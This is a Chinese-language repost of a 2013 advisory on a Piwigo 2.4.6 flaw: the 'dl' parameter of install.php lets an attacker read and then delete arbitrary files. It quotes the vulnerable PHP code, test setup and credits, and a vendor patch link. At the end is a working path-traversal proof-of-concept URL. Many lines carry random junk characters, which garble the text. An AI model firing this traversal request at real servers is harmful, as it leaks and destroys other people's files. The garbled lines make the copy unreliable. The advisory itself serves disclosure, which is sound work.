Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
8 S. \& F5 L* ~( |& O====================================================================
/install.php:
-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
! c0 o2 Z, O; u# e- A. q7 m114: {
% c# f* u  v5 @5 U+ k2 y! G4 {; ~115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
4 G( A- h  z: v119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
2 {' [0 ]2 u) _! X* H121:   echo file_get_contents($filename);
' z! h! M" x9 A: z7 ?122:   unlink($filename);
123:   exit();
124: }
====================================================================
' [! W8 \' r' O  [& c- P# o) {
/ _' \8 c, j' K. q- \Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

5 ]* n  o2 C; X6 |# ~3 F9 b+ DVulnerability discovered by Gjoko 'LiquidWorm' Krstic
$ I3 T4 |4 P: K5 f& \, d- \* @                            @zeroscience

! ?! {9 S6 Y7 ?! K, wAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
9 H2 f! ^: V7 @6 s5 h4 P; dVendor Patch: http://piwigo.org/bugs/view.php?id=2843
. b4 k% T' A8 _7 w+ `' x
/ O; i3 t8 u# X, y. c9 o& v) X* H15.02.2013
* A( N5 `7 ]+ @7 s" B8 A9 E7 w; N9 w
" z/ h" w+ C- P% G! W--
0 H- M4 D2 r# m2 V- d0 Ehttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
1 l7 }0 `  Y* m$ J1 Y